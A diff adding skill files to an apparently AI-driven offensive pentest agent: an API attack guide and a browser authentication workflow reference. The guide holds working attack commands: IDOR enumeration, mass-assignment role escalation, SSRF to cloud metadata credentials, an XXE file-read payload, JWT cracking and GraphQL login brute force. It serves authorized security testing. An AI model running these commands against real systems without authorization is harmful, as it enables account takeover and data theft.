- package/skills/offensive/airecon-fork/vulnerabilities-bfla/SKILL.md +156 -0
- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,278 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: api-testing
|
|
5
|
+
description: REST/GraphQL API security testing covering OWASP API Top 10, BOLA, mass assignment, versioning bypass, and auth flaws
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# API Security Testing
|
|
9
|
+
|
|
10
|
+
Modern APIs are the primary attack surface. They often lack the hardened defenses of web frontends, expose raw business logic, and are poorly monitored. Focus on authorization, data exposure, and logic before fuzzing.
|
|
11
|
+
|
|
12
|
+
## Reconnaissance
|
|
13
|
+
|
|
14
|
+
### Discover API Endpoints
|
|
15
|
+
|
|
16
|
+
# Crawl with katana (JS-aware)
|
|
17
|
+
katana -u https://target.com -d 5 -jc -aff -o output/katana_urls.txt
|
|
18
|
+
|
|
19
|
+
# Find API paths from JS bundles
|
|
20
|
+
grep -rE '"(/api|/v[0-9]|/graphql|/rest|/gql)' output/katana_urls.txt
|
|
21
|
+
|
|
22
|
+
# Wayback + filtering
|
|
23
|
+
waybackurls target.com | grep -E '/api|/v[0-9]+' | sort -u
|
|
24
|
+
|
|
25
|
+
# Directory brute-force on common API paths
|
|
26
|
+
ffuf -u https://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,204,301,302,401,403
|
|
27
|
+
|
|
28
|
+
# Parameter discovery
|
|
29
|
+
arjun -u https://target.com/api/users -oJ output/arjun_params.json
|
|
30
|
+
|
|
31
|
+
### Version Discovery
|
|
32
|
+
|
|
33
|
+
# Common versioning patterns to fuzz
|
|
34
|
+
ffuf -u https://target.com/FUZZ/users -w <(echo -e "v1\nv2\nv3\nv4\napi\napi/v1\napi/v2\napi/v3\nrest\nrest/v1") -mc 200,401,403
|
|
35
|
+
|
|
36
|
+
# Check HTTP headers for version hints
|
|
37
|
+
curl -sI https://target.com/api/users | grep -iE "version|api-version|x-api"
|
|
38
|
+
|
|
39
|
+
### Swagger / OpenAPI Discovery
|
|
40
|
+
|
|
41
|
+
# Common spec paths
|
|
42
|
+
ffuf -u https://target.com/FUZZ -w <(echo -e "swagger.json\nswagger.yaml\nopenapi.json\nopenapi.yaml\napi-docs\napi-docs.json\ndocs\nredoc\nv1/swagger.json\napi/swagger") -mc 200
|
|
43
|
+
|
|
44
|
+
# Convert to request list
|
|
45
|
+
python3 -c "
|
|
46
|
+
import json, sys
|
|
47
|
+
spec = json.load(open('swagger.json'))
|
|
48
|
+
for path in spec['paths']:
|
|
49
|
+
print(path)
|
|
50
|
+
"
|
|
51
|
+
|
|
52
|
+
---
|
|
53
|
+
|
|
54
|
+
## OWASP API Top 10
|
|
55
|
+
|
|
56
|
+
### API1 — Broken Object Level Authorization (BOLA/IDOR)
|
|
57
|
+
|
|
58
|
+
The most common and highest impact API vulnerability. Change object IDs in every request.
|
|
59
|
+
|
|
60
|
+
# Numeric ID enumeration
|
|
61
|
+
ffuf -u https://target.com/api/users/FUZZ/profile -w <(seq 1 10000 | tr '\n' '\n') -H "Authorization: Bearer <token>" -mc 200
|
|
62
|
+
|
|
63
|
+
# UUID enumeration (use known UUIDs as wordlist)
|
|
64
|
+
# After auth as userA, access userB's resources using their ID
|
|
65
|
+
|
|
66
|
+
# Check all HTTP methods on same endpoint
|
|
67
|
+
for method in GET POST PUT PATCH DELETE; do
|
|
68
|
+
curl -s -X $method https://target.com/api/users/1337 -H "Authorization: Bearer <token>" -w "\n%{http_code}\n"
|
|
69
|
+
done
|
|
70
|
+
|
|
71
|
+
# Test indirect references
|
|
72
|
+
# /api/orders/my-order → change to /api/orders/<other_order_id>
|
|
73
|
+
# /api/files/download?name=myfile → change to ../etc/passwd or other user's file
|
|
74
|
+
|
|
75
|
+
Detection signals: different response size/content, 200 where 403 expected.
|
|
76
|
+
|
|
77
|
+
### API2 — Broken Authentication
|
|
78
|
+
|
|
79
|
+
# Test JWT weaknesses
|
|
80
|
+
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -T # tamper modes
|
|
81
|
+
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -X a # alg:none
|
|
82
|
+
python3 /home/pentester/tools/jwt_tool/jwt_tool.py <token> -C -d /usr/share/wordlists/rockyou.txt # crack
|
|
83
|
+
|
|
84
|
+
# Check if token accepted without signature
|
|
85
|
+
# Modify payload, set "alg":"none", remove signature
|
|
86
|
+
|
|
87
|
+
# Test API key rotation — if old key still works after rotation:
|
|
88
|
+
curl -H "X-API-Key: <old_key>" https://target.com/api/profile
|
|
89
|
+
|
|
90
|
+
### API3 — Broken Object Property Level Authorization (Mass Assignment)
|
|
91
|
+
|
|
92
|
+
# Test by sending extra fields not shown in docs
|
|
93
|
+
curl -X PUT https://target.com/api/users/me \
|
|
94
|
+
-H "Authorization: Bearer <token>" \
|
|
95
|
+
-H "Content-Type: application/json" \
|
|
96
|
+
-d '{"name":"test","role":"admin","is_admin":true,"balance":999999,"verified":true}'
|
|
97
|
+
|
|
98
|
+
# Registration endpoint — try to set role/admin flag
|
|
99
|
+
curl -X POST https://target.com/api/register \
|
|
100
|
+
-d '{"username":"x","password":"x","email":"x@x.com","role":"admin","is_admin":true}'
|
|
101
|
+
|
|
102
|
+
# Check nested objects
|
|
103
|
+
curl -X PATCH https://target.com/api/profile \
|
|
104
|
+
-d '{"profile":{"name":"x"},"subscription":{"plan":"enterprise"}}'
|
|
105
|
+
|
|
106
|
+
### API4 — Unrestricted Resource Consumption
|
|
107
|
+
|
|
108
|
+
# Rate limiting test
|
|
109
|
+
for i in $(seq 1 100); do
|
|
110
|
+
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/api/login \
|
|
111
|
+
-X POST -d '{"user":"admin","pass":"test"}' &
|
|
112
|
+
done
|
|
113
|
+
|
|
114
|
+
# Test large payload handling
|
|
115
|
+
python3 -c "print('A'*10000000)" | curl -X POST https://target.com/api/upload -d @-
|
|
116
|
+
|
|
117
|
+
### API5 — Broken Function Level Authorization (BFLA)
|
|
118
|
+
|
|
119
|
+
# Test admin endpoints as regular user
|
|
120
|
+
curl -H "Authorization: Bearer <user_token>" https://target.com/api/admin/users
|
|
121
|
+
curl -H "Authorization: Bearer <user_token>" -X DELETE https://target.com/api/admin/users/1
|
|
122
|
+
|
|
123
|
+
# Method escalation: GET allowed, but POST/PUT/DELETE as user?
|
|
124
|
+
curl -X PUT https://target.com/api/users/1 \
|
|
125
|
+
-H "Authorization: Bearer <user_token>" \
|
|
126
|
+
-d '{"role":"admin"}'
|
|
127
|
+
|
|
128
|
+
# Path case variation
|
|
129
|
+
curl https://target.com/API/admin/users
|
|
130
|
+
curl https://target.com/api/Admin/users
|
|
131
|
+
|
|
132
|
+
### API6 — Unrestricted Access to Sensitive Business Flows
|
|
133
|
+
|
|
134
|
+
# Test business logic: buy item at lower price
|
|
135
|
+
# Add discount via mass assignment
|
|
136
|
+
curl -X POST https://target.com/api/orders \
|
|
137
|
+
-d '{"item_id":1,"quantity":1,"discount":100,"price":0}'
|
|
138
|
+
|
|
139
|
+
# Negative quantity / negative price
|
|
140
|
+
curl -X POST https://target.com/api/cart/add \
|
|
141
|
+
-d '{"product_id":1,"quantity":-100}'
|
|
142
|
+
|
|
143
|
+
# Race condition on one-time-use voucher
|
|
144
|
+
# Send 50 concurrent requests to use same voucher
|
|
145
|
+
seq 50 | xargs -P 50 -I{} curl -X POST https://target.com/api/voucher/redeem \
|
|
146
|
+
-d '{"code":"PROMO50"}' -H "Authorization: Bearer <token>"
|
|
147
|
+
|
|
148
|
+
### API7 — Server Side Request Forgery
|
|
149
|
+
|
|
150
|
+
# Find webhook/URL params
|
|
151
|
+
curl -X POST https://target.com/api/webhooks \
|
|
152
|
+
-d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
|
|
153
|
+
|
|
154
|
+
# Import/export features
|
|
155
|
+
curl -X POST https://target.com/api/import \
|
|
156
|
+
-d '{"source":"http://internal-service:8080/admin"}'
|
|
157
|
+
|
|
158
|
+
### API8 — Security Misconfiguration
|
|
159
|
+
|
|
160
|
+
# HTTP methods allowed on endpoints
|
|
161
|
+
curl -X OPTIONS https://target.com/api/ -v
|
|
162
|
+
|
|
163
|
+
# Debug endpoints
|
|
164
|
+
ffuf -u https://target.com/FUZZ -w <(echo -e "debug\nhealth\nstatus\nmetrics\nenv\nconfig\ninfo\n_debug\n.well-known") -mc 200
|
|
165
|
+
|
|
166
|
+
# CORS misconfiguration
|
|
167
|
+
curl -H "Origin: https://evil.com" https://target.com/api/user -v | grep -i "access-control"
|
|
168
|
+
|
|
169
|
+
### API9 — Improper Inventory Management (Versioning Bypass)
|
|
170
|
+
|
|
171
|
+
Old API versions often lack new security controls. Always test older versions.
|
|
172
|
+
|
|
173
|
+
# If v2 enforces auth but v1 doesn't:
|
|
174
|
+
curl https://target.com/api/v1/users # no auth
|
|
175
|
+
curl https://target.com/api/v2/users # 401
|
|
176
|
+
|
|
177
|
+
# Mobile vs web API differences
|
|
178
|
+
curl -A "Dalvik/2.1.0 (Linux; U; Android 11)" https://target.com/api/users
|
|
179
|
+
curl -A "Mozilla/5.0" https://target.com/api/users
|
|
180
|
+
|
|
181
|
+
# Dev/staging endpoints still accessible
|
|
182
|
+
ffuf -u https://target.com/FUZZ/api/users -w <(echo -e "dev\ntest\nstaging\nbeta\nold\nlegacy\ninternal")
|
|
183
|
+
|
|
184
|
+
### API10 — Unsafe Consumption of APIs
|
|
185
|
+
|
|
186
|
+
Test third-party integrations the app trusts without validation.
|
|
187
|
+
|
|
188
|
+
---
|
|
189
|
+
|
|
190
|
+
## Advanced API Attacks
|
|
191
|
+
|
|
192
|
+
### HTTP Method Override
|
|
193
|
+
|
|
194
|
+
# Some APIs honor X-HTTP-Method-Override
|
|
195
|
+
curl -X POST https://target.com/api/users/1 \
|
|
196
|
+
-H "X-HTTP-Method-Override: DELETE" \
|
|
197
|
+
-H "Authorization: Bearer <user_token>"
|
|
198
|
+
|
|
199
|
+
curl -X POST https://target.com/api/users/1 \
|
|
200
|
+
-H "X-Method-Override: PUT" \
|
|
201
|
+
-d '{"role":"admin"}'
|
|
202
|
+
|
|
203
|
+
### Parameter Pollution
|
|
204
|
+
|
|
205
|
+
# Duplicate parameters — backend may take last or first
|
|
206
|
+
curl "https://target.com/api/users?id=1&id=2"
|
|
207
|
+
curl -X POST https://target.com/api/users -d "id=1&id=9999"
|
|
208
|
+
|
|
209
|
+
# Array/object injection
|
|
210
|
+
curl "https://target.com/api/users?id[]=1&id[]=2"
|
|
211
|
+
curl -X POST https://target.com/api/search -d '{"q":{"$gt":""}}' # NoSQL injection via JSON
|
|
212
|
+
|
|
213
|
+
### Content-Type Switching
|
|
214
|
+
|
|
215
|
+
# Server may parse differently depending on Content-Type
|
|
216
|
+
curl -X POST https://target.com/api/users \
|
|
217
|
+
-H "Content-Type: application/xml" \
|
|
218
|
+
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><data>&xxe;</data>'
|
|
219
|
+
|
|
220
|
+
# JSON to form-data switch
|
|
221
|
+
curl -X POST https://target.com/api/users \
|
|
222
|
+
-H "Content-Type: application/x-www-form-urlencoded" \
|
|
223
|
+
-d "role=admin&is_admin=1"
|
|
224
|
+
|
|
225
|
+
### GraphQL Specific
|
|
226
|
+
|
|
227
|
+
# Introspection
|
|
228
|
+
curl -X POST https://target.com/graphql \
|
|
229
|
+
-H "Content-Type: application/json" \
|
|
230
|
+
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
|
|
231
|
+
|
|
232
|
+
# Disable introspection bypass
|
|
233
|
+
curl -X POST https://target.com/graphql \
|
|
234
|
+
-d '{"query":"{ __schema\n{ types { name } } }"}'
|
|
235
|
+
|
|
236
|
+
# Batch query attack (rate limit bypass)
|
|
237
|
+
curl -X POST https://target.com/graphql \
|
|
238
|
+
-d '[{"query":"mutation { login(user:\"admin\",pass:\"pass1\") }"},{"query":"mutation { login(user:\"admin\",pass:\"pass2\") }"}]'
|
|
239
|
+
|
|
240
|
+
# Alias enumeration
|
|
241
|
+
curl -X POST https://target.com/graphql \
|
|
242
|
+
-d '{"query":"{ a1:user(id:1){email} a2:user(id:2){email} a3:user(id:3){email} }"}'
|
|
243
|
+
|
|
244
|
+
# Field suggestions reveal valid fields
|
|
245
|
+
curl -X POST https://target.com/graphql \
|
|
246
|
+
-d '{"query":"{ user { passwordd } }"}'
|
|
247
|
+
# Error: "Did you mean password?"
|
|
248
|
+
|
|
249
|
+
---
|
|
250
|
+
|
|
251
|
+
## Automation
|
|
252
|
+
|
|
253
|
+
# nuclei API templates
|
|
254
|
+
nuclei -u https://target.com -t /home/pentester/nuclei-templates/exposures/apis/ -o output/nuclei_api.txt
|
|
255
|
+
|
|
256
|
+
# Custom ffuf wordlist for API testing
|
|
257
|
+
ffuf -u https://target.com/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt \
|
|
258
|
+
-H "Authorization: Bearer <token>" -mc all -fc 404 -o output/api_fuzz.json
|
|
259
|
+
|
|
260
|
+
# arjun for hidden parameters
|
|
261
|
+
arjun -u https://target.com/api/users -oJ output/params.json --include '{"headers":{"Authorization":"Bearer <token>"}}'
|
|
262
|
+
|
|
263
|
+
---
|
|
264
|
+
|
|
265
|
+
## Pro Tips
|
|
266
|
+
|
|
267
|
+
1. Always compare responses between authenticated user and unauthenticated — diff reveals BOLA
|
|
268
|
+
2. Swagger/OpenAPI specs expose the full attack surface — find them before manual testing
|
|
269
|
+
3. Old API versions (v1 while app uses v3) almost always lack newer security controls
|
|
270
|
+
4. Test every parameter for mass assignment: send extra fields and check if they're reflected in GET
|
|
271
|
+
5. GraphQL introspection reveals the full schema — even if disabled, try field suggestions and aliases
|
|
272
|
+
6. Check mobile apps for hardcoded API keys and alternate endpoints
|
|
273
|
+
7. Race conditions on financial/voucher/limit endpoints are high impact — use parallel requests
|
|
274
|
+
8. Header injection: X-Original-URL, X-Rewrite-URL, X-Forwarded-For can bypass IP-based rate limits
|
|
275
|
+
|
|
276
|
+
## Summary
|
|
277
|
+
|
|
278
|
+
API security is authorization testing. Every endpoint should be tested with: wrong user's ID, extra fields (mass assignment), all HTTP methods, older API versions, and without authentication. Logic > fuzzing.
|
|
@@ -0,0 +1,252 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Authentication Workflow — Complete Tool Reference
|
|
4
|
+
|
|
5
|
+
## Quick Reference: Available Auth Actions
|
|
6
|
+
|
|
7
|
+
| Action | Purpose | Required params |
|
|
8
|
+
|--------|---------|-----------------|
|
|
9
|
+
| `login_form` | Fill + submit login form | `url`, `username`, `password` |
|
|
10
|
+
| `handle_totp` | Generate + submit TOTP code | `totp_secret` |
|
|
11
|
+
| `save_auth_state` | Capture cookies + localStorage + sessionStorage | — |
|
|
12
|
+
| `inject_cookies` | Restore a saved session | `cookies` (array) |
|
|
13
|
+
| `oauth_authorize` | Complete OAuth/SSO flow | `url` |
|
|
14
|
+
| `check_auth_status` | Verify if currently logged in | — |
|
|
15
|
+
| `wait_for_element` | Wait for a CSS selector to appear | `wait_selector` |
|
|
16
|
+
| `request_user_input` | Ask user for CAPTCHA/TOTP/OTP/password | `prompt`, `input_type` |
|
|
17
|
+
|
|
18
|
+
---
|
|
19
|
+
|
|
20
|
+
## Decision Tree
|
|
21
|
+
|
|
22
|
+
```
|
|
23
|
+
Need to authenticate?
|
|
24
|
+
│
|
|
25
|
+
├─ Have username + password?
|
|
26
|
+
│ └─ Standard site (all fields visible at once)?
|
|
27
|
+
│ ├─ YES → browser_action(action="login_form", url=..., username=..., password=...)
|
|
28
|
+
│ └─ NO (Google/GitHub/Microsoft username-first flow)?
|
|
29
|
+
│ └─ browser_action(action="login_form", ..., multi_step=true)
|
|
30
|
+
│
|
|
31
|
+
│ Check response:
|
|
32
|
+
│ ├─ login_success=true → save_auth_state → continue testing
|
|
33
|
+
│ ├─ captcha_detected=true
|
|
34
|
+
│ │ → captcha_screenshot already saved (see captcha_screenshot in response)
|
|
35
|
+
│ │ → request_user_input(input_type="captcha", prompt="Solve CAPTCHA in <path>")
|
|
36
|
+
│ │ → type solution → press_key("Enter") → save_auth_state
|
|
37
|
+
│ ├─ mfa_required=true → see TOTP section below
|
|
38
|
+
│ └─ login_error="..." → wrong credentials
|
|
39
|
+
│
|
|
40
|
+
├─ MFA / TOTP required?
|
|
41
|
+
│ ├─ Have TOTP secret (base32)?
|
|
42
|
+
│ │ └─ browser_action(action="handle_totp", totp_secret="BASE32SECRET")
|
|
43
|
+
│ │ └─ 8-digit code? → add totp_digits=8
|
|
44
|
+
│ │ └─ 60s period? → add totp_period=60
|
|
45
|
+
│ │ Check: totp_success=true → save_auth_state
|
|
46
|
+
│ │ If totp_success=false → call handle_totp again (code expired, new 30s window)
|
|
47
|
+
│ │
|
|
48
|
+
│ └─ No secret (user has authenticator app / SMS)?
|
|
49
|
+
│ └─ request_user_input(input_type="totp", prompt="Enter 6-digit code for target.com",
|
|
50
|
+
│ timeout_seconds=90)
|
|
51
|
+
│ → after user submits: browser_action(action="type", text=<code>)
|
|
52
|
+
│ → browser_action(action="press_key", key="Enter")
|
|
53
|
+
│ → wait_for_element(wait_selector="div.dashboard", wait_timeout=5)
|
|
54
|
+
│ → check_auth_status → save_auth_state
|
|
55
|
+
│
|
|
56
|
+
├─ CAPTCHA blocking?
|
|
57
|
+
│ (Usually auto-detected by login_form — captcha_screenshot auto-taken)
|
|
58
|
+
│ └─ request_user_input(input_type="captcha",
|
|
59
|
+
│ prompt="Solve CAPTCHA in /workspace/screenshots/screenshot_XYZ.png")
|
|
60
|
+
│ → browser_action(action="type", text=<solution>)
|
|
61
|
+
│ → browser_action(action="press_key", key="Enter")
|
|
62
|
+
│
|
|
63
|
+
├─ Restore a previous session?
|
|
64
|
+
│ └─ browser_action(action="inject_cookies", cookies=[{name, value, domain, path}, ...])
|
|
65
|
+
│ → browser_action(action="goto", url="https://target.com/dashboard")
|
|
66
|
+
│ → check_auth_status to verify
|
|
67
|
+
│
|
|
68
|
+
├─ OAuth / SSO?
|
|
69
|
+
│ └─ browser_action(action="oauth_authorize",
|
|
70
|
+
│ url="https://github.com/login/oauth/authorize?...",
|
|
71
|
+
│ callback_prefix="https://target.com/callback")
|
|
72
|
+
│ Check: oauth_token or oauth_callback_url in response
|
|
73
|
+
│
|
|
74
|
+
└─ Verify if authenticated?
|
|
75
|
+
└─ browser_action(action="check_auth_status")
|
|
76
|
+
Check: is_authenticated (bool), confidence (0-1), username_display
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## Complete Step-by-Step Examples
|
|
82
|
+
|
|
83
|
+
### Example 1: Standard login (single-step)
|
|
84
|
+
```json
|
|
85
|
+
{"action": "login_form", "url": "https://target.com/login",
|
|
86
|
+
"username": "admin@target.com", "password": "pass123"}
|
|
87
|
+
```
|
|
88
|
+
Response: `{login_success: true, auth_cookies: [...], next_action: "Login succeeded. Call save_auth_state."}`
|
|
89
|
+
```json
|
|
90
|
+
{"action": "save_auth_state"}
|
|
91
|
+
```
|
|
92
|
+
|
|
93
|
+
### Example 2: Username-first (Google/GitHub/Microsoft style)
|
|
94
|
+
```json
|
|
95
|
+
{"action": "login_form", "url": "https://accounts.google.com",
|
|
96
|
+
"username": "user@gmail.com", "password": "pass123", "multi_step": true}
|
|
97
|
+
```
|
|
98
|
+
|
|
99
|
+
### Example 3: Login + TOTP (you have the secret)
|
|
100
|
+
```json
|
|
101
|
+
{"action": "login_form", "url": "https://target.com/login",
|
|
102
|
+
"username": "admin", "password": "pass"}
|
|
103
|
+
```
|
|
104
|
+
Response: `{mfa_required: true, next_action: "MFA/2FA field detected..."}`
|
|
105
|
+
```json
|
|
106
|
+
{"action": "handle_totp", "totp_secret": "JBSWY3DPEHPK3PXP"}
|
|
107
|
+
```
|
|
108
|
+
Response: `{totp_success: true, next_action: "TOTP verified. Call save_auth_state."}`
|
|
109
|
+
```json
|
|
110
|
+
{"action": "save_auth_state"}
|
|
111
|
+
```
|
|
112
|
+
|
|
113
|
+
### Example 4: Login + TOTP (user has authenticator app)
|
|
114
|
+
```json
|
|
115
|
+
{"action": "login_form", "url": "https://target.com/login",
|
|
116
|
+
"username": "admin", "password": "pass"}
|
|
117
|
+
```
|
|
118
|
+
Response: `{mfa_required: true}`
|
|
119
|
+
|
|
120
|
+
Call `request_user_input`:
|
|
121
|
+
```json
|
|
122
|
+
{"name": "request_user_input",
|
|
123
|
+
"prompt": "MFA required for target.com. Enter 6-digit code from your authenticator app.",
|
|
124
|
+
"input_type": "totp", "timeout_seconds": 90}
|
|
125
|
+
```
|
|
126
|
+
User enters code → value returned:
|
|
127
|
+
```json
|
|
128
|
+
{"action": "type", "text": "123456"}
|
|
129
|
+
```
|
|
130
|
+
```json
|
|
131
|
+
{"action": "press_key", "key": "Enter"}
|
|
132
|
+
```
|
|
133
|
+
```json
|
|
134
|
+
{"action": "wait_for_element", "wait_selector": ".dashboard,.home-page", "wait_timeout": 8}
|
|
135
|
+
```
|
|
136
|
+
```json
|
|
137
|
+
{"action": "check_auth_status"}
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
### Example 5: CAPTCHA handling (auto-screenshot)
|
|
141
|
+
```json
|
|
142
|
+
{"action": "login_form", "url": "https://target.com/login",
|
|
143
|
+
"username": "admin", "password": "pass"}
|
|
144
|
+
```
|
|
145
|
+
Response: `{captcha_detected: true, captcha_type: "recaptcha", captcha_screenshot: "/workspace/screenshots/screenshot_20241201_120000.png"}`
|
|
146
|
+
|
|
147
|
+
```json
|
|
148
|
+
{"name": "request_user_input",
|
|
149
|
+
"prompt": "CAPTCHA detected. Screenshot saved at /workspace/screenshots/screenshot_20241201_120000.png. Type the CAPTCHA text you see.",
|
|
150
|
+
"input_type": "captcha", "timeout_seconds": 300}
|
|
151
|
+
```
|
|
152
|
+
User solves it → value returned:
|
|
153
|
+
```json
|
|
154
|
+
{"action": "type", "text": "abc123"}
|
|
155
|
+
```
|
|
156
|
+
```json
|
|
157
|
+
{"action": "press_key", "key": "Enter"}
|
|
158
|
+
```
|
|
159
|
+
|
|
160
|
+
### Example 6: 8-digit TOTP (enterprise apps)
|
|
161
|
+
```json
|
|
162
|
+
{"action": "handle_totp", "totp_secret": "BASE32SECRET", "totp_digits": 8}
|
|
163
|
+
```
|
|
164
|
+
|
|
165
|
+
### Example 7: 60-second TOTP window (non-standard)
|
|
166
|
+
```json
|
|
167
|
+
{"action": "handle_totp", "totp_secret": "BASE32SECRET", "totp_period": 60}
|
|
168
|
+
```
|
|
169
|
+
|
|
170
|
+
### Example 8: Session restoration
|
|
171
|
+
```json
|
|
172
|
+
{"action": "inject_cookies",
|
|
173
|
+
"cookies": [{"name": "session_id", "value": "abc123", "domain": "target.com", "path": "/"}]}
|
|
174
|
+
```
|
|
175
|
+
```json
|
|
176
|
+
{"action": "goto", "url": "https://target.com/dashboard"}
|
|
177
|
+
```
|
|
178
|
+
```json
|
|
179
|
+
{"action": "check_auth_status"}
|
|
180
|
+
```
|
|
181
|
+
|
|
182
|
+
---
|
|
183
|
+
|
|
184
|
+
## Response Field Reference
|
|
185
|
+
|
|
186
|
+
### login_form response
|
|
187
|
+
| Field | Type | Meaning |
|
|
188
|
+
|-------|------|---------|
|
|
189
|
+
| `login_success` | bool | True = authenticated |
|
|
190
|
+
| `captcha_detected` | bool | CAPTCHA is blocking the form |
|
|
191
|
+
| `captcha_type` | str | `recaptcha`, `hcaptcha`, `cloudflare_turnstile`, `unknown` |
|
|
192
|
+
| `captcha_screenshot` | str | **Auto-taken screenshot path** (no need to call screenshot separately) |
|
|
193
|
+
| `mfa_required` | bool | 2FA/TOTP field appeared |
|
|
194
|
+
| `login_error` | str | Error message from page |
|
|
195
|
+
| `url_changed` | bool | Redirect happened after submit |
|
|
196
|
+
| `auth_cookies` | list | Session cookies captured |
|
|
197
|
+
| `next_action` | str | **Always read this** — tells you what to do next |
|
|
198
|
+
|
|
199
|
+
### handle_totp response
|
|
200
|
+
| Field | Type | Meaning |
|
|
201
|
+
|-------|------|---------|
|
|
202
|
+
| `totp_success` | bool | Code accepted |
|
|
203
|
+
| `totp_error` | str | Error message if rejected |
|
|
204
|
+
| `totp_code_used` | str | The 6-digit code submitted |
|
|
205
|
+
| `auth_cookies` | list | Session cookies after TOTP |
|
|
206
|
+
| `next_action` | str | What to do next |
|
|
207
|
+
|
|
208
|
+
### check_auth_status response
|
|
209
|
+
| Field | Type | Meaning |
|
|
210
|
+
|-------|------|---------|
|
|
211
|
+
| `is_authenticated` | bool | True = logged in |
|
|
212
|
+
| `confidence` | float | 0.0–1.0 confidence score |
|
|
213
|
+
| `score` | int | Raw auth signal score |
|
|
214
|
+
| `has_logout` | bool | Logout link found |
|
|
215
|
+
| `has_profile` | bool | User menu/avatar found |
|
|
216
|
+
| `has_login_form` | bool | Login form still visible |
|
|
217
|
+
| `username_display` | str | Detected username (if any) |
|
|
218
|
+
|
|
219
|
+
---
|
|
220
|
+
|
|
221
|
+
## Custom Selectors (when defaults fail)
|
|
222
|
+
|
|
223
|
+
First inspect the page:
|
|
224
|
+
```json
|
|
225
|
+
{"action": "view_source"}
|
|
226
|
+
```
|
|
227
|
+
Then pass explicit selectors:
|
|
228
|
+
```json
|
|
229
|
+
{
|
|
230
|
+
"action": "login_form",
|
|
231
|
+
"url": "https://target.com/login",
|
|
232
|
+
"username": "admin",
|
|
233
|
+
"password": "pass",
|
|
234
|
+
"username_selector": "input#email-address",
|
|
235
|
+
"password_selector": "input.pwd-field",
|
|
236
|
+
"submit_selector": "button.login-btn"
|
|
237
|
+
}
|
|
238
|
+
```
|
|
